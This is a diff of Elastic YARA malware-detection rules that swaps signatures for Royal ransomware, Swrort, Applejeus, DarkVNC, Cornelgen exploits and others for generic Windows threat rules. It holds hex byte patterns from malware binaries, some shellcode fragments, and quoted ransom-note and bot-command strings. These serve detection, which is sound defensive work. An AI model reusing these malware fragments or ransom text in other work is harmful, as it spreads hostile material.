-		$a1 = { 48 81 EC B8 00 00 00 0F AE 9C 24 10 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F AE 94 24 14 01 00 00 4C 8B A9 E0 00 00 00 4C 8B CA 4C 8B 51 20 4C 8B C1 4C 33 11 ?? ?? ?? ?? ?? ?? 4C 8B 59 28 }
+		$a1 = { 4A 75 73 74 20 63 6F 70 79 20 74 68 65 20 70 61 74 63 68 20 74 6F 20 74 68 65 20 70 72 6F 67 72 61 6D 20 64 69 72 65 63 74 6F 72 79 20 61 6E 64 20 61 70 70 6C 79 2E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Rooter_C8D08D3A : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Fdbcd3F2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Rooter (Linux.Trojan.Rooter)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "c8d08d3a-ff9c-4545-9f09-45fbe5b534f3"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "fdbcd3f2-17e6-49d4-997b-91e6a85e4226"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rooter.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f55e3aa4d875d8322cdd7caa17aa56e620473fe73c9b5ae0e18da5fbc602a6ba"
-		logic_hash = "c91f3112cc61acec08ab3cd59bab2ae833ba0d8ac565ffb26a46982f38af0e71"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1320-L1338"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9258e4fe077be21ad7ae348868f1ac6226f6e9d404c664025006ab4b64222369"
+		logic_hash = "ca9136ca44a61795cca44ac9bb0494fdc34c08d6578603ba3be3582956f4a98f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2a09f9fabfefcf44c71ee17b823396991940bedd7a481198683ee3e88979edf4"
-		severity = 100
+		fingerprint = "2a69deed3fe05b64cb37881ce50cae8972e7a610fd32c4b7f9155409bc5b297c"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { D8 DC 04 08 BB 44 C3 04 08 CD 80 C7 05 48 FB 04 }
+		$a1 = { 83 C4 FC 60 8B 75 0C 8D A4 24 00 00 00 00 8D A4 24 00 00 00 00 90 56 E8 22 00 00 00 0B C0 75 05 89 45 FC EB 11 89 35 84 42 40 00 46 8B 5D 08 38 18 75 E3 89 45 FC 61 8B 45 FC C9 C2 08 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Royal_B7D42109 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_B7852Ccf : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Royal (Windows.Ransomware.Royal)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "b7d42109-f327-4ec3-86ac-d1ebb9478860"
-		date = "2022-11-04"
-		modified = "2022-12-20"
+		id = "b7852ccf-ba11-44e2-95b9-eb92d6976e15"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Royal.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "491c2b32095174b9de2fd799732a6f84878c2e23b9bb560cd3155cbdc65e2b80"
-		logic_hash = "06f4a1487e97e0b8c1f5df380ab4f90b37ef0a508aba7dac272c16c8371d8143"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1340-L1360"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5ac70fa959be4ee37c0c56f0dd04061a5fed78fcbde21b8449fc93e44a8c133a"
+		logic_hash = "4d5c29cceaacfda0c41bcd13cf95e90397b1b6c0c6beeb19b9184f435c8669b9"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "ff518f25b39b02769b67c437f38958d14e4e8f50b91f4c73591203da297a5d2a"
-		severity = 100
+		fingerprint = "f33ef7996bcb0422227b9481d85b3663fb0f13f1be01837b42ac0c5f0bcff781"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "Try Royal today and enter the new era of data security" ascii fullword
-		$a2 = "If you are reading this, it means that your system were hit by Royal ransomware." ascii fullword
-		$a3 = "http://royal"
-		$a4 = "\\README.TXT" wide fullword
+		$a1 = { 45 2B 34 2C 3D 43 4A 32 3A 24 40 2F 22 3E 3F 3C 24 44 }
+		$a2 = { 67 6F 72 67 65 6F 75 73 68 6F 72 6E 79 }
+		$a3 = { 62 6C 61 63 6B 20 68 61 69 72 75 6E 73 68 61 76 65 64 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Prochide_7333221A : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_C3C8F21A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Prochide (Linux.Hacktool.Prochide)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "7333221a-b3dc-4b26-8ec7-7e4f5405e228"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "c3c8f21a-4722-4b6f-85e1-023d45487aeb"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Prochide.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fad956a6a38abac8a8a0f14cc50f473ec6fc1c9fd204e235b89523183931090b"
-		logic_hash = "413f19744240eae0a87d56da1e524e2afa0fe0ec385bd9369218713b13a93495"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1362-L1380"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9a102873dd37d08f53dcf6b5dad2555598a954d18fb3090bbf842655c5fded35"
+		logic_hash = "b4d2b28fb2c9d46884b0b34f7821151b88891a8d881885c704e0e192cf7fca70"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e3aa99d48a8554dfaf9f7d947170e6e169b99bf5b6347d4832181e80cc2845cf"
-		severity = 100
+		fingerprint = "5bae56d41d4582aed0a6fd54eab53ce6d47f0d70711cc17e77f8e85019d2ac7e"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FF FF 83 BD 9C FC FF FF FF 75 14 BF 7F 22 40 00 }
+		$a1 = { 55 89 E5 83 EC 14 53 56 57 8D 7D F7 BE 1E CA 40 00 B9 02 00 00 00 F3 A5 A4 68 62 CA 40 00 68 64 CA 40 00 E8 A8 25 00 00 83 C4 08 89 C3 8D 45 EC 50 E8 CA 24 00 00 59 8D 45 EC 50 E8 80 26 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Swrort_5Ad1A4F9 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_A3D51E0C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Swrort (Linux.Trojan.Swrort)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "5ad1a4f9-bfe5-4e5f-94e9-4983c93a1c1f"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "a3d51e0c-9d49-48e5-abdb-ceeb10780cfa"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Swrort.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fa5695c355a6dc1f368a4b36a45e8f18958dacdbe0eac80c618fbec976bac8fe"
-		logic_hash = "3a1fa978e0c8ab0dd4e7965a3f91306d6123c19f21b86d3f8088979bf58c3a07"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1382-L1400"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "18bd25df1025cd04b0642e507b0170bc1a2afba71b2dc4bd5e83cc487860db0d"
+		logic_hash = "f128f6a037abb4af2c11605b182852146780be6451b3062a2914bedb5c286843"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a91458dd4bcd082506c554ca8479e1b0d23598e0e9a0e44ae1afb2651ce38dce"
-		severity = 100
+		fingerprint = "069a218c752b5aac5b26b19b36b641b3dd31f09d7fcaae735efb52082a3495cc"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 53 57 68 B7 E9 38 FF FF D5 53 53 57 68 74 EC 3B E1 FF D5 57 }
+		$a1 = { 55 8B EC 53 56 8B 75 08 33 DB 39 5D 14 57 75 10 3B F3 75 10 39 5D 0C 75 12 33 C0 5F 5E 5B 5D C3 3B F3 74 07 8B 7D 0C 3B FB 77 1B E8 05 F8 FF FF 6A 16 5E 89 30 53 53 53 53 53 E8 97 F7 FF FF 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Swrort_4Cb5B116 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_54Ccad4D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Swrort (Linux.Trojan.Swrort)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "4cb5b116-5e90-4e5f-a62f-bfe616cab5db"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "54ccad4d-3b8d-4abb-88eb-d428d661169d"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Swrort.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "703c16d4fcc6f815f540d50d8408ea00b4cf8060cc5f6f3ba21be047e32758e0"
-		logic_hash = "9404856fc3290f3a8f9bf891fde9a614fc4484719eb3b51ce7ab601a41e0c3a5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1402-L1422"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fe4aad002722d2173dd661b7b34cdb0e3d4d8cd600e4165975c48bf1b135763f"
+		logic_hash = "b9fb525be22dd2f235c3ac68688ced5298da45194ad032423689f5a085df6e31"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "cb783f69b4074264a75894dd85459529a172404a6901a1f5753a2f9197bfca58"
-		severity = 100
+		fingerprint = "4fe13c4ca3569912978a0c2231ec53a715a314e1158e09bc0c61f18151cfffa3"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 6A 00 6A 00 6A 00 6A 00 6A 00 6A 00 6A 04 6A 10 89 E1 6A 00 }
+		$a1 = { 4D 55 73 65 72 4E 61 74 69 66 65 72 63 }
+		$a2 = { 4D 79 52 65 67 53 61 76 65 52 65 63 6F 72 64 }
+		$a3 = { 53 74 65 61 6C 65 72 54 69 6D 65 4F 75 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Swrort_22C2D6B6 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_6Ee18020 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Swrort (Linux.Trojan.Swrort)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "22c2d6b6-d100-4310-87c4-3912a86bdd40"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "6ee18020-71e2-4003-99ef-963663e94740"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Swrort.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6df073767f48dd79f98e60aa1079f3ab0b89e4f13eedc1af3c2c073e5e235bbc"
-		logic_hash = "f661544d267a55feec786ab3d4fc4f002afa8e2b58833461f56b745ec65acfd4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1424-L1442"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d58d8f5a7efcb02adac92362d8c608e6d056824641283497b2e1c1f0e2d19b0a"
+		logic_hash = "8a08973ae2ddde275e007686fc6eca831c1fb398b7221d5022da10f90da0e44d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d2b16da002cb708cb82f8b96c7d31f15c9afca69e89502b1970758294e91f9a4"
-		severity = 100
+		fingerprint = "b8b18dcec6556bc7fb9b9f257a6485bcd6dfde96fc5c7e8145664de55d0c6803"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 31 DB F7 E3 53 43 53 6A 02 89 E1 B0 66 CD 80 51 6A 04 54 6A 02 }
+		$a1 = { 55 8B EC 53 8B 5D 0C 8B 45 08 50 E8 9C 19 02 00 59 89 03 89 53 04 83 7B 04 00 75 07 83 3B 00 76 10 EB 02 7E 0C C6 43 28 01 33 C0 5B 5D C3 5B 5D C3 B8 01 00 00 00 5B 5D C3 90 90 90 55 8B EC 53 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Backdoor_Applejeus_31872Ae2 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_8Eb547Db : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Backdoor Applejeus (MacOS.Backdoor.Applejeus)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "31872ae2-f6df-4079-89c2-866cb2e62ec8"
-		date = "2021-10-18"
-		modified = "2021-10-25"
+		id = "8eb547db-81e4-4c64-9bab-b7944af32345"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Backdoor_Applejeus.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e352d6ea4da596abfdf51f617584611fc9321d5a6d1c22aff243aecdef8e7e55"
-		logic_hash = "1d6f06668a7d048a93e53b294c5ab8ffe4cd610f3bef3fd80f14425ef8a85a29"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1444-L1462"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3fc821b63dfa653b86b11201073997fa4dc273124d050c2a7c267ac789d8a447"
+		logic_hash = "73cabad0656c6b347def017b07138fdbdd5b41da5ccf7d701fea764669058f39"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "24b78b736f691e6b84ba88b0bb47aaba84aad0c0e45cf70f2fa8c455291517df"
-		severity = 100
+		fingerprint = "2de0d43a4c1c4b3ecef7272d3f224bd5203c130365ff49a02a9200b3f53fe6ba"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a = { FF CE 74 12 89 F0 31 C9 80 34 0F 63 48 FF C1 48 39 C8 75 F4 }
+		$a1 = { 28 00 00 0A 20 B8 0B 00 00 20 10 27 00 00 6F 29 00 00 0A 28 1F 00 00 0A 7E 0D 00 00 04 2D 0A 28 23 00 00 06 28 19 00 00 06 7E 14 00 00 04 6F 2A 00 00 0A 26 17 2D C8 2A 13 30 01 00 41 00 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Mumblehard_523450Aa : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_803Feff4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Mumblehard (Linux.Trojan.Mumblehard)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "523450aa-6bb4-4863-9656-81a6e6cb7d88"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "803feff4-e4c2-4d8c-b736-47bb10fd5ce8"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Mumblehard.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a637ea8f070e1edf2c9c81450e83934c177696171b24b4dff32dfb23cefa56d3"
-		logic_hash = "60b4cc388975ce030e03c5c3a48adcfeec25299105206909163f20100fbf45d8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1464-L1482"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8f150dfb13e4a2ff36231f873e4c0677b5db4aa235d8f0aeb41e02f7e31c1e05"
+		logic_hash = "e22b8b208ff104e2843d897c425467f2f0ec0c586c4db578da90aeaef0209e1d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "783f07e4f4625c061309af2d89e9ece0ba4a8ce21a7d93ce19cd32bcd6ad38e9"
-		severity = 100
+		fingerprint = "3bbb00aa18086ac804f6ddf99a50821744a420f46b6361841b8bcd2872e597f1"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 09 75 05 89 03 89 53 04 B8 02 00 00 00 50 80 F9 09 75 0B CD 80 }
+		$a1 = { 6F 01 00 06 6F 25 00 00 0A 02 7B 03 00 00 04 73 8D 01 00 06 6F 25 00 00 0A 02 7B 03 00 00 04 73 92 01 00 06 6F 25 00 00 0A 02 7B 03 00 00 04 73 9A 01 00 06 6F 25 00 00 0A 02 7B 03 00 00 04 73 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Darkvnc_Bd803C2E : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_9C7D2333 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Darkvnc (Windows.Trojan.DarkVNC)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "bd803c2e-77bd-4b8c-bdfa-11a9bd54a454"
-		date = "2023-01-23"
-		modified = "2023-02-01"
+		id = "9c7d2333-f2c4-4d90-95ce-d817da5cb2a3"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DarkVNC.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0fcc1b02fdaf211c772bd4fa1abcdeb5338d95911c226a9250200ff7f8e45601"
-		logic_hash = "d9e8a42a424d6a186939682e1cd2ed794c8a3765824188e863b1b2829650e2d5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1484-L1502"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "85219f1402c88ab1e69aa99fe4bed75b2ad1918f4e95c448cdc6a4b9d2f9a5d4"
+		logic_hash = "561290ebf3ca2a01914f514d63121be930e7a8c06cfc90ff4b8f0c7cef3408fe"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "131f4b3ef5b01720a52958058ecc4c3681ed0ca975a1a06cd034d7205680e710"
-		severity = 100
+		fingerprint = "3f003cc34b797887b5bbfeb729441d7fdb537d4516f13b215e1f6eceb5a8afaf"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "BOT-%s(%s)_%S-%S%u%u" wide fullword
-		$a2 = "{%08X-%04X-%04X-%04X-%08X%04X}" wide fullword
-		$a3 = "monitor_off / monitor_on" ascii fullword
-		$a4 = "bot_shell >" ascii fullword
-		$a5 = "keyboard and mouse are blocked !" ascii fullword
+		$a1 = { 55 8B EC 81 EC 64 09 00 00 57 C6 85 00 F8 FF FF 00 B9 FF 00 00 00 33 C0 8D BD 01 F8 FF FF F3 AB 66 AB AA C6 85 00 FC FF FF 00 B9 FF 00 00 00 33 C0 8D BD 01 FC FF FF F3 AB 66 AB AA C7 85 AC F6 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Cornelgen_584A227A : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_747B58Af : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cornelgen (Linux.Exploit.Cornelgen)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "584a227a-bf17-4620-8b10-97676f12ea5b"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "747b58af-6edb-42f2-8a1b-e462399ef61e"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Cornelgen.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c823cb669f1d6cb9258d6f0b187609c226af23396f9c5be26eb479e5722a9d97"
-		logic_hash = "db3b6bbab48074449ae8b404f8fa77d93cde1ab8e57bd4ad981ac2afb8226494"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1504-L1524"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ee28e93412c59d63155fd79bc99979a5664c48dcb3c77e121d17fa985fcb0ebe"
+		logic_hash = "fd6b36ca50c1017035474b491f716bfb0d53b181fce4b5478a57a1d1a6ddc3e7"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "65a23e20166b99544b2d0b4969240618d50e80a53a69829756721e19e4e6899f"
-		severity = 100
+		fingerprint = "79faab4fda6609b2c95d24de92a3a417d2f5e58f3f83c856fa9f32e80bed6f37"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 6E 89 E3 52 53 89 E1 B0 0B CD 80 31 C0 40 CD 80 }
+		$a1 = { 5C 43 3D 5D 78 48 73 66 40 22 33 2D 34 }
+		$a2 = { 79 5A 4E 51 61 4A 21 43 43 56 31 37 74 6B }
+		$a3 = { 66 72 7A 64 48 49 2D 4E 3A 4D 23 43 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Cornelgen_Be0Bc02D : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_C3C4E847 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cornelgen (Linux.Exploit.Cornelgen)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "be0bc02d-2d9d-4cbe-9d6a-3a88ffa1234b"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "c3c4e847-ef6f-430d-9778-d48326fb4eb0"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Cornelgen.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "24c0ba8ad4f543f9b0aff0d0b66537137bc78606b47ced9b6d08039bbae78d80"
-		logic_hash = "67c4f2d875f233b52fcbc24d9225c51af4dc09c27ce3915f0d756202bd4e5867"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1526-L1544"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "86b37f0b2d9d7a810b5739776b4104f1ded3a1228c4ec2d104d26d8eb26aa7ba"
+		logic_hash = "fa147abf7aa872f409e7684c4c60485fc58f57543062573526e56ff9866f8dfe"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "6b57eb6fd3c8e28cbff5e7cc51246de74ca7111a9cd1c795b21aa89142a693b4"
-		severity = 100
+		fingerprint = "017a8ec014fed493018cff128b973bb648dbb9a0d1bede313d237651d3f6531a"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 8B 44 24 08 A3 B8 9F 04 08 0F B7 05 04 A1 04 08 }
+		$a1 = { 2E 3F 41 56 3F 24 5F 52 65 66 5F 63 6F 75 6E 74 40 55 41 70 69 44 61 74 61 40 40 40 73 74 64 40 40 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Cornelgen_03Ee53D3 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_6542Ebda : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cornelgen (Linux.Exploit.Cornelgen)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "03ee53d3-4f03-4c5e-9187-45e0e33584b4"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "6542ebda-c91e-449e-88c4-244fba69a4b2"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Cornelgen.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "711eafd09d4e5433be142d54db153993ee55b6c53779d8ec7e76ca534b4f81a5"
